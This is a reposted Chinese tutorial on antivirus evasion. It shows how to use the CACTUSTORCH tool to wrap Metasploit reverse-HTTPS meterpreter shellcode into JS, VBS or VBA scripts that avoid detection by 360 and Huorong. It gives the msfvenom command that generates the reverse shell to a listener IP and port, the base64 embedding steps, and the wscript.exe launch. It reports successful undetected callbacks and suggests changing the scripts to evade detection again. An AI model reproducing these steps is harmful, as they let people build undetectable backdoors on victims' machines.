轉載:https://mp.weixin.qq.com/s/g0CYvFMsrV7bHIfTnSUJBw
免殺能力一覽表
幾點說明:
1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。
2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。
3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。
4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為免殺或殺軟查殺能力的判斷指標。
5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。
一、CACTUSTORCH介紹
在2017年4月由James Forshaw開源了一個工具DotNetToJScript,能夠利用JS或者Vbs等腳本加載.Net程序。在DotNetToJScript發布后,有幾款工具根據其原理開發出來,比如CACTUSTORCH、SharpShooter、StarFighters等等。
而CACTUSTORCH和SharpShooter都同一個組織開發,2017年發布,主要使用vbs或js執行C#的二進制payload,提供多種方式繞過殺軟,支持js、vbs、vbe、vba、hta等多種格式,還提供了支持Cobalt Strike的cna文件。
二、安裝CACTUSTORCH
CACTUSTORCH安裝和使用都比較簡單。
1、從Github上clone到本地
git clone https://github.com/mdsecactivebreach/CACTUSTORCH
2、ok了,純綠色版,就這么簡單。
三、CACTUSTORCH說明
CACTUSTORCH生成的腳本可以用于執行C#的二進制文件,CACTUSTORCH在免殺方面有以下幾個特性:
1、在payload中不使用Kernel32 API聲明,避免被殺軟檢測
2、可以在C#二進制內機械能混淆
3、可任意指定目標二進制程序進行注入
4、允許指定任意shellcode
5、不產生PowerShell.exe
6、不需要Powershell
7、不需要office
8、不調用WScript.Shell
9、不需要分段,因為完整的無階段shellcode可以包含在傳送的payload內
10、沒有靜態父對子進行生成,用戶可以更改wscript.exe生成的內容
四、利用CACTUSTORCH生成后門
以生成js腳本為例進行測試。
1、首先要選擇一個待注入的exe文件,默認是rundll32.exe, 你也可以使用notepad.exe, calc.exe等,在CACTUSTORCH.js文件中直接修改就行。
2、使用 Cobalt Strike或Metasploit生成一個32位的shellcode
msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o payload.bin
3、執行下面命令cat payload.bin | base64 -w 0
4、把生成的base64編碼后的代碼復制到CACTUSTORCH.js文件中的var code =。
如果是vbs文件,則需要修改CACTUSTORCH.vbs文件中Dim code: code =后面的代碼。
如果是生成VBA代碼,還需要使用splitvba.py來對代碼進行分割,詳細可查閱官方說明https://github.com/mdsecactivebreach/CACTUSTORCH。
5、在測試機中執行wscript.exe CACTUSTORCH.js
msf中監聽windows/meterpreter/reverse_https可正常上線
6、打開殺軟進行測試
360和火絨都免殺,都可正常上線
7、測試了一下vbs,也可360和火絨免殺上線
又測試了一下vba,免殺效果也差不多。
五、CACTUSTORCH小結
因為CACTUSTORCH也是基于DotNetToJScript來實現免殺的工具,同類工具里知名度比較高,所以被查殺的有些慘不忍睹,不過能直接過360和火絨也算一個小亮點了。殺軟查殺其腳本主要是里面很多代碼關鍵字都被列入了特征字符,感興趣的可以嘗試修改其腳本代碼做二次免殺。
六、參考資料
DotNetToJScript 復活之路:https://evi1cg.me/archives/AMSI_bypass.html
使用CACTUSTORCH 生成Payload:http://4hou.win/wordpress/?p=4727